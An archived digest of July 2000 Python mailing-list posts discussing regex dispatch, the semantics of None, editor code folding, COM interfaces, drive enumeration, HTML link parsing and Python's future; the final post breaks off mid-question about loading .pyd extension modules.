>of whose keys is "ext" -- the found extension.
>
[deletia]
>
>Regards,
>
>-- Russell

Stealing a page from the other 'P' language, you could construct a list of 
the compiled regex objects and apply the compiled form inside your inner 
loop:

import re
import sys

# Worker bees
def do_hpp(line): print 'hpp:', line
def do_cpp(line): print 'cpp:', line
def do_c(line): print 'c:', line
def do_h(line): print 'h:', line

# Selector
funcs = {
    re.compile('\.hpp'): do_hpp,
    re.compile('\.cpp'): do_cpp,
    re.compile('\.c'): do_c,
    re.compile('\.h'): do_h
}

# Off to work with you
while 1:
    line = sys.stdin.readline()
    if not line: break
    for pat in funcs.keys():
        if pat.search(line):
            funcs[pat](line)
            break




From aahz at netcom.com  Sat Jul 22 14:00:04 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 22 Jul 2000 18:00:04 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com>
Message-ID: <8lcnf4$vmr$1@slb0.atl.mindspring.net>

In article <slrn8nj9ul.6bu.neelk at brick.cswv.com>,
Neel Krishnaswami <neelk at alum.mit.edu> wrote:
>
>My proposal would be to replace it with encapsulated multimethods,
>because that's the best way of solving the binary method problem in an
>OO language. 

Explain this in plain English, please (or better yet, plain Python), for
those of us who dropped out before getting our CS degrees.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From peter at schneider-kamp.de  Wed Jul 19 08:00:31 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 12:00:31 +0000
Subject: Toplevel "test()" functions in standard library
References: <m2vgy28uwi.fsf@hooft.net>
Message-ID: <3975985F.FF8D1591@schneider-kamp.de>

Rob Hooft wrote:
> 
> Wouldn't it be better to move the test() definition inside the if
> statement in these cases, to prevent name space pollution? Note that
> the routines are not called "_test()", so they will be imported by a
> "from ... import *" (There are other modules with a _test() definition
> as well).

I cannot comment on the reason for this idiom, but for your
name space pollution using "from ... import *": Don't use it.

<rant>Even in the short time I have been on the list I have seen
examples of nearly untrackable bugs because of name space
collisions when using "from ... import *".</rant>

I don't even use "from Tkinter import *" in GUI apps.
I prefer "import Tkinter; tk = Tkinter; del Tkinter",
though it would be really nice to have something like this:
"import Tkinter as tk"
Which would be short for
"tk=__import__("Tkinter",globals,locals,None)"

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From cg at schlund.de  Wed Jul 26 04:02:45 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Wed, 26 Jul 2000 10:02:45 +0200
Subject: perl to python, case + regular expression question
References: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov> <8ll282$mel$1@slb6.atl.mindspring.net>
Message-ID: <397E9B25.EC0E3103@schlund.de>

Andrew Dalke wrote:

> words = string.split(input_line)
> if words.get(0, None) == "log":

get() only works with dictionaries, not with sequences.

Carsten.


From Gareth.McCaughan at pobox.com  Sat Jul 29 09:10:43 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Sat, 29 Jul 2000 14:10:43 +0100
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <slrn8o3lfj.17lq.Gareth.McCaughan@g.local> <slrn8o418v.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o5luj.1di7.Gareth.McCaughan@g.local>

Steve Lamb wrote:

[I said:]
>> None doesn't mean "empty object". It means "no object". There's
>> a big difference, whether or not you care to recognise it. As
>> big as the difference between "no bottles" and "an empty bottle",
>> which is insignificant only if all you care about is the beer. :-)
>
>     Be hard to fool me on that.

I'm not trying to fool anyone.

> 
> type(a)
> a = None
> type(a)
> 
>     If it  were no object how come it doesn't bomb out again.  Maybe the more
> precise answer would be that I am trying to create the name a and point to
> nothing.  None is not nothing.  None /is/ something.  It is a type.  :P

Whatever it is, it isn't a type. The word "type" has a meaning
(several meanings, in fact), and for none of them is the object
called "None" in Python a type. (Although the type of None is
called <type 'None'>...)

Anyway: it's true that None isn't exactly equivalent to
"no object". (Obviously, since None is something you can
assign to variables, use as a key or value in a dictionary,
etc, etc.) But if you're going to think about it in terms
that are as naive as "empty object", then "no object" is
a lot closer, and that was what I was trying to say.

The thing Python calls "None" is not a sequence. It is
not a set. It is not a dictionary. It is not a number.
If you'd prefer it to be one of those, or to behave
like one of those without any effort on the programmer's
part, that's fine; but that isn't the preference of the
person who designed Python, it isn't mine, and I rather
suspect it wouldn't be many people's.

You say that you want to "create the name a and point to
nothing". *Why* do you want to do this? The brief description
you've given of the problem doesn't give me any clue why
Python can't easily do just what you need. (Though not
necessarily with the exact sequence of statements you want.
That's not a problem: the right way to write a Python program
isn't to write a Perl program and translate it line by line.)

                               *

The article from which you quoted that one paragraph said a
lot of other stuff. I'd be interested in your reaction to it.

                               *

I think your basic complaint could be paraphrased like this:

    "There are lots of things I've got used to Perl doing.
    Python doesn't do them. Therefore Python is weird, it's
    full of quirks, it doesn't behave the way real humans
    expect".

To which I reply: Indeed, Python is unlike Perl in many ways.
Being unlike Perl isn't in itself a quirk. You happen to find
Perl's decisions in some matters congenial; please don't
try to make out (as you seem to have been doing in other
articles) that this is because you're a Human Being and
those of us who find Python's decisions mostly more natural
are Weird Geeks, though, because that's not so.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 22:39:57 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 02:39:57 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au>
Message-ID: <1csf5.40036$Gh.442627@news20.bellglobal.com>

If you don't mind, I opened a bug to track the issue:

https://sourceforge.net/bugs/?func=detailbug&bug_id=110240&group_id=2439

It's not a big rush for me to have this feature (dang, I should have opened
it as a "Feature Request"), but I would appreciate it as much as (or more
than) Mark and others.


I would, on the other hand, comment your example as follows (so as to keep
the code looking consistent):


def z(y):
    x = 1
    # x = sin(y)

    return x*2


If you assumed that comments were not "level neutral", would that fix it for
me?  Maybe this could be an option, a flag of somesort called
"LevelNeutralComments"???  Is this a work-around-patch-fix that would
satisfy more than me?  Would a different type of comment (like a double or
triple sharp?) also help?

There's still the issue of blank lines after a fold.  I've noticed that
strings on a line don't seem to execute anything, so if you change my
comment in the example with a string:

class ztApp ( wxApp ) :

   def OnInit ( self ) :
      frame = ztLoader ( )
      frame.Show ( true )
      self.SetTopWindow ( frame )
      return true


""" Main code """
pngHandler = wxPNGHandler ( )
wxImage_AddHandler ( pngHandler )
app = ztApp ( 0 )
app.MainLoop ( )


...the string isn't folded in with the class...  And since a triple-quote
string can also span multiple lines...

"""
<blank lines>
Main code
<blank lines>
"""


...I'm cool with that...  But I have a feeling that I might have a memory or
performance issue if I start sprinkling "triple-quote comments" all over the
place like that.  Is this the case?  Maybe the triple-sharp comment idea
would be better??


--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:2trf5.12076$4p3.93728 at news-server.bigpond.net.au...
>     [PythonWin / Scintilla folds away comments that belong to next
> definition]
>
>     Mark's comments are correct but I'd like to explain a little more.
>
>     Scintilla uses a simple fold discovery algorithm that relies mostly on
> indentation and only looks at a narrow window of lines. Often, comments
are
> not indented with the executable code so are treated by the folder as
having
> a 'neutral' indentation level which will bind to the indentation level of
a
> nearby piece of executable code. Blank lines also have neutral indentation
> level as they are often sprinkled within a function. This allows a
function
> like
>
> def z(y):
>     x = 1
> #  x = sin(y)
>
>     return x*2
>
>    to fold correctly. It has the downside of binding the top level comment
> in your example to the preceding definition.
>
>    This could be fixed by doing a much better job of parsing the Python
code
> or by doing some more tweaks such as detecting this particular common
case.
> The argument against a really good parser is the need for performance as
the
> folding structure is being continuously recalculated as editing occurs.
>
>    Eventually I'll do some more work on the code folder but haven't yet
> found a good alternative. It'd be great if someone else was interested in
> working on this.
>
>    Neil
>
>
>




From postbox at counter4all.com  Fri Jul 28 10:21:43 2000
From: postbox at counter4all.com (postbox at counter4all.com)
Date: Fri, 28 Jul 2000 16:21:43 +0200
Subject: Professional statistics for your homepage
Message-ID: <PLUTOf2LTrpwACkWHZq00000332@www.counter4all.dk>

Hi python-list at python.org

Check http://www.counter4all.com/omcounter.asp




From timin at home.com  Wed Jul 12 18:36:32 2000
From: timin at home.com (Mitchell Timin)
Date: Wed, 12 Jul 2000 22:36:32 GMT
Subject: Seeking Talented People to Work for Stock
Message-ID: <396CF36D.D8FD0255@home.com>

Hi,

This is Mitchell Timin, originator of the Robot Auto Racing Simulation
(RARS).  That project, although very interesting, is a non-profit enterprise
with a narrow audience.  I've just started on a new project which is intended
to appeal to a large audience.  It will be just as interesting to work on as
RARS, but will involve a profit making corporation.  The product will be a
massively multiplayer business simulation game.

I'm currently seeking a few people to become the original shareholders of a
corporation to be formed.  You will not contribute any money, just the product
of your time and talent.  We will need website design, programming, e-business
setup, server setup and operation, technical writing, and legal  talent.

m




From borlak at home.com  Fri Jul 21 16:06:08 2000
From: borlak at home.com (Michael Morrison)
Date: Fri, 21 Jul 2000 20:06:08 GMT
Subject: Accessing current namespace's dictionary...
Message-ID: <Q22e5.37016$6y5.24957758@news2.rdc2.tx.home.com>

What I'm doing is I have a dictionary that I want added to the modules
namespace dictionary.

I'm trying to access the module that is running namespace dictionary, but I
can't seem to find a way to do it.

something like

class C:
    def foo():
        __dict__[key] = value

Doesn't seem to work.  I tried making __dict__ global and failed miserably
:P  I don't want to result in calling the filename, I want it to be as
dynamic as possible.


Thanks for any input.  Hope I was clear enough :)

Michael





From alex at magenta.com  Wed Jul  5 10:56:38 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 5 Jul 2000 16:56:38 +0200
Subject: Hi, my name is not Mrs so-called Gumblenose
References: <395B2B88.CC3041C1@memo.volvo.se> <1c934748.cd75dee0@usw-ex0106-045.remarq.com>
Message-ID: <8jvii30149t@news1.newsguy.com>

Simon B <brunnsNObrSPAM at beer.com.invalid> wrote in message
news:1c934748.cd75dee0 at usw-ex0106-045.remarq.com...
> I've not heard of any way of getting at DB2/400 from Python
> other than via ODBC. But I'd love to be wrong!
>
> If someone were to port JPython to the '400, you would be able
> to use the AS/400 Toolbox for Java's native DB access APIs, but
> that would be a pretty major job in itself.

Why would JPython have to be "ported" at all?  Doesn't it
"just run" with any common-or-garden Java Virtual Machine?


Alex






From paul at prescod.net  Sun Jul 23 02:33:03 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:33:03 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com>
Message-ID: <397A919F.331C3933@prescod.net>

Neel Krishnaswami wrote:
> 
> ...
> 
> We do need to muck with the language to fix this, but the answer is
> NOT to add syntax, but to remove the type/class dichotomy. Then it
> will be possible to do something to fix the __mul__/__rmul__ thing so
> it's actually usable.
> 
> My proposal would be to replace it with encapsulated multimethods,
> because that's the best way of solving the binary method problem in an
> OO language. 

Neel, I think you have projected your own wishes onto that of the matrix
people! They specifically *asked for new syntax*. They are perfectly
happy with Python's semantics. They just think it doesn't look
matrix-y enough. (which it doesn't)

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From cpaulicka at 8cs.com  Wed Jul 26 15:07:00 2000
From: cpaulicka at 8cs.com (Christopher Paulicka)
Date: Wed, 26 Jul 2000 12:07:00 -0700
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
References: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com> <Zpqf5.12049$4p3.93208@news-server.bigpond.net.au> <Bosf5.51489$DH3.1693859@news-east.usenetserver.com> <8lm7r402fmm@news1.newsguy.com>
Message-ID: <yDGf5.58466$DH3.1892995@news-east.usenetserver.com>

>
> So maybe I've not understood what is it that you're trying to do.  If
> you want to access another interface of an object you already have
> a reference to, then QI is correct, but you have to specify the interface
> identification -- the IID, not the CLSID.  If you want to instantiate a
> brand-new object, then the CLSID is correct.  But that is a
> substantially different task.
>

Okay, I didn't give enough detail, and I appreciate all your help.

In PythonWin (or pythoncom), when you generate Python wrappers for your
classes, it does so for both the interfaces (dispatch interfaces) and the
coclasses.

If you look at the generated code, it calls their GUID (either CLSID or IID)
the "CLSID" attribute of the particular Python class.

Okay, perhaps the simplest thing to do is to just give you an example, and
see if you can help me.

The following code is exactly what I want to do.  You must have
DirectAnimation installed on your machine (by default with 98, and W2K, also
comes with IE5).

Using makepy, convert "DirectAnimation Library (1.0)".

PythonWin 1.5.2 (#0, May 29 2000, 13:52:29) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-2000 Mark Hammond (MHammond at skippinet.com.au)
>>> import win32com.client
>>> control =
win32com.client.Dispatch("DirectAnimation.DirectAnimationWindowedIntegratedM
ediaControl.1")
>>> m = control.MeterLibrary
>>> print m
<win32com.gen_py.DirectAnimation Library.IDA3Statics>
>>> geo = m.ImportGeometry (r"D:\Program Files\Microsoft SDK for Java
4.0\Samples\DirectX\d3drmviewer\Teapot.x")
>>> geo
<win32com.gen_py.DirectAnimation Library.IDA3Geometry>
>>> geo = geo.Transform(m.Translate3(1.0, 1.0, 1.0))
>>> geo
<win32com.gen_py.DirectAnimation Library.IDAGeometry>

#    Now, I assumed that this was old leftovers, that this IDAGeometry also
supports the IDA3Geometry interface

>>> geo._oleobj_
<PyIDispatch at 0x1232344 with obj at 0x1192464>

>>> qi =
geo._oleobj_.QueryInterface('{EB5093C7-56F9-11D2-88CE-00C04FA35859}')
#IDA3Geometry interface IID
Traceback (innermost last):
  File "<interactive input>", line 1, in ?
TypeError: There is no interface object registered that supports this IID

#    But then I thought, maybe not.  Maybe the old library code doesn't
really make everything as IDA3Geometry interface
#    Well, I can still test QueryInterface(), though

>>> geo2 = m.ImportGeometry (r"D:\Program Files\Microsoft SDK for Java
4.0\Samples\DirectX\d3drmviewer\Teapot.x")
>>> geo2
<win32com.gen_py.DirectAnimation Library.IDA3Geometry>
>>> qi =
geo2._oleobj_.QueryInterface('{C46C1BDF-3C52-11D0-9200-848C1D000000}') #
IDAGeometry Interface IID
Traceback (innermost last):
  File "<interactive input>", line 1, in ?
TypeError: There is no interface object registered that supports this IID

# Now this is really strange, anything supporting IDA3Geometry should be
queryable to IDAGeometry
# Wait, let's try something else...

>>> qi =
geo2._oleobj_.QueryInterface('{EB5093C7-56F9-11D2-88CE-00C04FA35859}')
#IDA3Geometry interface IID
Traceback (innermost last):
  File "<interactive input>", line 1, in ?
TypeError: There is no interface object registered that supports this IID
>>>

# Well, isn't that wierd.  An object of type IDA3Geometry doesn't support
the interface IID for IDA3Geometry?
#
# I am very, very confused.

This leads me to believe that QueryInterface() is not working, or
DirectAnimation is very messed up.




From richard_chamberlain at ntlworld.com  Mon Jul 10 16:12:41 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Mon, 10 Jul 2000 21:12:41 +0100
Subject: Enumerating drives
References: <Syna5.206$967.189230592@newsb.telia.net>
Message-ID: <d6qa5.9801$_O.166517@news2-win.server.ntlworld.com>

Hi Lars,

On Win32 you can use:

import win32api,string

drives=win32api.GetLogicalDriveStrings()
drives=string.splitfields(drives,'\000')
print drives

GetLogicalDriveStrings returns a string with each drive null terminated so
you can use the string module to separate them into a list.

There is also a win32api.GetLogicalDrives() which returns a bitmask where
each bit represents a drive letter, so 1101 (or 13 in decimal) would
represent (going from right to left) a:\,c:\ and d:\.

Richard


Lars Lundstedt <lars.lundstedt at telia.com> wrote in message
news:Syna5.206$967.189230592 at newsb.telia.net...
> Anyone know how to enumerate drives (local and network) in Python?
>
>
> /LasseLu
>
>




From rumjuggler at cryptarchy.org  Fri Jul 21 17:58:53 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 21 Jul 2000 21:58:53 GMT
Subject: Range Literals (was Re: [ANNOUNCE] Python Enhancement Proposals on the Web)
References: <39779F05.3181C5E5@schneider-kamp.de> <20000721082752.B9897@xs4all.nl>
Message-ID: <v3ihnsgco8evvjvehuh9402695ebaj0453@4ax.com>

On Fri, 21 Jul 2000 08:27:53 +0200, Thomas Wouters <thomas at xs4all.net>
wrote:

>On Fri, Jul 21, 2000 at 12:53:25AM +0000, Peter Schneider-Kamp wrote:
>
>> The so called PEPs (Python Enhancement Proposals) are now
>> available on the web at
>
>> PEPs that already carry some content include:
>
>> 0204  Range Literals                       twouters
>
>Damn, Peter beat me to it ;) This PEP is in first draft, so any and all
>comments are welcome. Do people want me to post it here in full glory, or is
>the webpage accessible enough ?
>
>Note: I don't think this subject will raise as much discussion as new
>operators or the name of a new function ;) but I would prefer it if
>discussion was kept at a minimum: I'll try to incorporate all opinions in
>the PEP, and I'm certainly not trying to be some kind of spanish
>inquisition, but the reason I ask this is very simple: I wouldn't be able to
>keep up with the posting frenzy ;-P
>
>But if we can keep it down to, ooh, a hundred or so postings a day, I think
>I can manage.... ;P

Well, in the PEP you give an example of a non-numerical range literal,
['a':'z'].  But in the current slice notation, that would result in a list
with elements from a to y.  There isn't a one-after-z letter, so how would
a list with elements from a to z be constructed?

Also, I think that ['a':'z':'b'], as a way to indicate step, is much less
legible than ['a':'z':2].

-- 
Barnabas T. Rumjuggler

The night of time far surpasseth the day, and who knows when was the
equinox?
 -- Thomas Browne


From alex at magenta.com  Tue Jul 25 08:50:02 2000
From: alex at magenta.com (Alex Martelli)
Date: Tue, 25 Jul 2000 14:50:02 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8ljvta$epd$1@nnrp1.deja.com>
Message-ID: <8lk2kc0esc@news1.newsguy.com>

"Hartford Hackers" <cmyanko at bigfoot.com> wrote in message
news:8ljvta$epd$1 at nnrp1.deja.com...
> Is it me or has it been totaly missed that C# sits on top of the Common
> Language Runtime Libray. It supports, Eifle, Perl, Python, VB, C++, C#
> and Java. Any language can call any object from any other language!

I have not missed it, but it surely bears emphasizing.  Although Java is
not what Microsoft is hot about -- substitute Cobol in that list, I
guess:-).
(And most languages will be in dialects/subsets for full IL interoperation;
e.g., Eiffel# rather than real/full/true/complete Eiffel, since IL does not
support multiple inheritance of implementation, which full Eiffel wants;
dunno what Python .NET will do about that).


> My question though, is, how does this effect future versions of Python,
> or Perl for that matter? Who controls the distribution of this library?

CRL (or CLR or whatever the correct acronym happens to be) is a
Microsoft-proprietary thing; I doubt it will be available for non-MS
platforms, judging from how COM fared on such platforms in the
past (e.g., Mozilla has its own portable COM clone, but I do not think
it interoperates with any other COM, clone or true, on the planet).

ActiveState is handling the porting of Python and Perl to the .NET
framework (and thus, to IL and CRL in particular), and Hammond in
specific is Numero Uno on Python .NET, it appears from his recent
posts to this group.  But there isn't much yet on ActiveState's site
about either Python .NET or Perl .NET.  Presumably things will be a
little better when Visual Studio .NET's first beta appears (currently,
only a pre-beta of it is yet around).


Alex





From calvin at studcs.uni-sb.de  Sun Jul 16 07:03:55 2000
From: calvin at studcs.uni-sb.de (The Dude)
Date: Sun, 16 Jul 2000 13:03:55 +0200
Subject: html link parser?
References: <j%Lb5.5560$tI4.377238@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <3971969B.20EA6D30@studcs.uni-sb.de>

Paul Johnston wrote:
> 
> I'm looking to parse the links out of an html document.  Is there a module
> analogous to Html::LinkExtor (perl)?
> 
> Thanks for your help,
> Paul
This is part of my LinkChecker (linkchecker.sourceforge.net).
The code does not honor a <base href=> tag, but if you look into the
complete source code, you can find it there.

_linkMatcher = r"""
    (?i)          # case insensitive
    <             # open tag
    \s*           # whitespace
    %s            # tag name
    \s+           # whitespace
    [^>]*?        # skip leading attributes
    %s            # attrib name
    \s*           # whitespace
    =             # equal sign
    \s*           # whitespace
    (?P<value>    # attribute value
     ".*?" |      # in double quotes
     '.*?' |      # in single quotes
     [^\s>]+)     # unquoted
    [^>]*         # skip trailing attributes
    >             # close tag
    """
# note: you can use other link tags too like "img src=..."
pattern = re.compile(_linkMatcher % ("a", "href"), re.VERBOSE)
htmltext="<html>...</html>"
index = 0
while 1:
    match = pattern.search(htmltext, index)
    if not match: break
    index = match.end()
    print "Found url %s" % match.group('value')


From moshez at math.huji.ac.il  Mon Jul 31 00:46:08 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 31 Jul 2000 07:46:08 +0300 (IDT)
Subject: Content of the Perl6 talk
In-Reply-To: <14724.19154.174891.634614@anthem.concentric.net>
Message-ID: <Pine.GSO.4.10.10007310744190.5520-100000@sundial>

On Sun, 30 Jul 2000, Barry A. Warsaw wrote:

> Probably much more useful, if possible, would be to modularize some
> key functionality that the languages have in common.  The only example
> I can think of off hand would be a regexp engine.  It's kind of silly
> that all three languages would support the same syntax and largely the
> same features and functionality with entirely different code bases.

Sadly, even that's not really true. You can ask Andrew about the wonderful
fun he had trying to pry Perl's regexp engine from the clutch of
interdependancies. Perl's regexps are part of the language, and the
language is part of them (e.g., /e).

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From aahz at netcom.com  Mon Jul 31 19:33:27 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 23:33:27 GMT
Subject: [6th Draft] Open Letter to CNRI: Request for clarification
References: <39861173.30E94EDC@nowonder.de>
Message-ID: <8m52c7$ki4$1@nntp9.atl.mindspring.net>

In article <39861173.30E94EDC at nowonder.de>,
Peter Schneider-Kamp  <nowonder at nowonder.de> wrote:
>
>Aahz Maruch [aahz at pobox.com]

Please list my name as "Aahz", not "Aahz Maruch"; "Aahz" is my legal
name.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From cut_me_out at hotmail.com.bbs  Mon Jul 17 14:30:07 2000
From: cut_me_out at hotmail.com.bbs (cut_me_out at hotmail.com.bbs)
Date: 17 Jul 2000 18:30:07 GMT
Subject: Changing the class of an instance
Message-ID: <3bRLJW$k02@openbazaar.net>

>     I don't think "confusing" is the right word. Although I'm fairly
> certain I won't get the words right: It destroys the...  maybe the
> word is "encapsulation" or "modularity" or something - it means that
> you cannot verify things are correct by just looking at things
> locally.

You're probably right, I don't know much of the jargon.

> Not sure what sort of debugging we're referring to. If you're trying
> to figure out how to do something, as opposed to writing code meant to
> be used later, that's different.

True, that's what I was trying to do, so the changing of the class was
only happening on a very limited and interactive level (and it still got
a bit confusing at times. :)

> Possibly I missed it, but I haven't seen any reason given why changing
> __class__ is better than creating a new instance

Well, if you want to do it by creating a new instance, you have to make
some sort of copy constructor.  Unless you automate the process so that
it copies every attribute of the instance, you are bound to forget one
at some point.

Alex.


From jmcbray at carcosa.net  Thu Jul 27 10:26:06 2000
From: jmcbray at carcosa.net (Jason F. McBrayer)
Date: 27 Jul 2000 10:26:06 -0400
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au>
Message-ID: <m1hf9bwsxt.fsf@bertrand.carcosa.net>

>>>>> "SP" == Steve Purcell <stephen_purcell at yahoo.com> writes:

SP> Shae Erisson wrote:
>> And I'm opposed to it because it seems like sugar to me. I've always
>> loved Python's simplicity, and I hope it stays that way.
>> Adding new operators and new syntax will make Python harder to read, and
>> harder to learn. I don't want that.

SP> Yay! Python luddites unite!

SP> It also seems to me that Python is popular and effective exactly
SP> because of its simplicity. I love the fact that Perl folks rant
SP> about features 'missing' in Python only to find that the exact
SP> same functionality is available in a nicely packaged form in a
SP> standard module (e.g., 're'). This is the Python aesthetic, and I
SP> love it.

<AOL> Me too! </AOL>

I wouldn't at all mind seeing the standard library grow massive and
all-encompassing over time, but the core language is as big as it
needs to be.


-- 
+-----------------------------------------------------------+
| Jason F. McBrayer                    jmcbray at carcosa.net  |
| A flower falls, even though we love it; and a weed grows, |
| even though we do not love it.            -- Dogen        |


From thomas at cintra.no  Tue Jul 25 08:32:49 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Tue, 25 Jul 2000 12:32:49 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net>
Message-ID: <3980872e.118551357@news.online.no>

I asked the same exact question some time ago. Nobody knows. I don't
think Guido knows either ( allthough I hope he has some idea :-> ).
Now, Python after 1.6-beta cycle will be Python 2.0, not 1.7, if I'm
not mistaken.

Python 3000 will possibly have some new features etc. that will not be
compatible with 1.x or 2.x. Having seen how Python has evolved over
time I think you can be sure that Guido and his teammates know what
they're doing and that reasons for new, non-backward-compatible
features will outnumber the reasons for letting thing stay as they
are. 

As of now, look forward to 2.0, and take everything said about the
future of Python with a truckload of salt. ;->

Thomas

On Mon, 24 Jul 2000 22:01:00 +0200, "Patrick Fichou"
<fichou at katamail.com> wrote:

>Anyone knows more about what will be Python 3000 ? It seems that it will be
>the next evolution of this language, after the 1.7 version. The big issue is
>that Python 3000 would not be compatible withe the actual 1.n language !?
>How it is possible and what it means ?
>
>Patrick
>
>



From grey at despair.rpglink.com  Sat Jul 29 22:45:58 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:45:58 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com>
Message-ID: <slrn8o75j2.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 01:48:32 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>I concur. In non-programming, life is strictly typed. Allowed
>operations are determined by the type of the object. You can't
>make a phone call on a waffle-iron.  Were I to _try_ to make a
>phone call on a waffle-iron, it doesn't "automagically" convert
>istelf into a telephone.  Instead, I get a rather interesting
>burn pattern on the side of my head.

    You're making the mistake of trying to associate programming concepts to
real world objects.  

    I'm sorry, but that is why I said data is data is data.

    To give you a counter example when I write my pen doesn't toss up an
exception when I write out, "11 people are insane!" because it contains an
integer in a string context!

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From lull at acm.org  Thu Jul 13 22:57:03 2000
From: lull at acm.org (John Lull)
Date: 13 Jul 2000 21:57:03 -0500
Subject: TypeLib for Python COM Server?
References: <4D0A23B3F74DD111ACCD00805F31D8101D8BD2CD@RED-MSG-50>
Message-ID: <480tmsoca5s08fevqa27or2do9cqe08gv2@4ax.com>

Bill Tutt <billtut at microsoft.com> wrote:

> Don't rely on the 1000 thing. You should specifically declare the dispid's
> in the Python class.

How?

Thanks,
John


From edream at tds.net.bbs  Sun Jul 16 17:40:13 2000
From: edream at tds.net.bbs (edream at tds.net.bbs)
Date: 16 Jul 2000 21:40:13 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <3bQafC$lz_@openbazaar.net>

Hi,

I'm having difficulty importing modules defined in .pyd files from an
embedded Python interpreter.  The problem seems to be that two sets of
variables are being used and no linking is happening when the DLL is
loaded.  Perhaps you DLL gurus will spot the problem immediatly.
Details follow...

I've embedded the Python interpreter in a wxWindows test app using the
Borland compiler. The interpreter was embedded in a straightforward way,
by creating python15.lib and parserLib.lib from the sources, then
linking these libs with no special options into my app.

I've also used the python15.lib and parser.lib files from the Windows
distribution, with approximately the same results.  Because of problems
with FILE * params in the C API, it seemed best to build the .lib files
using the Borland compiler.

The app can execute code such as the following from the
wxWindows OnInit code:

    Py_Initialize();
    PyRun_SimpleString("for i in sys.path: print i");

Py_Initialize() exercises lots of code, including all the code I
modified for the Borland compiler, so most everything is working.

However, I am not able to import files defined in any .pyd file, say
like this:

    Py_Initialize();
    PyRun_SimpleString("import parser") ;

where parser is contained in parser.pyd.  No matter what .pyd file is
imported, the code fails by calling Py_FatalError inside the DLL's
initialization routine, parser.initparser in this example.  What happens
is this:

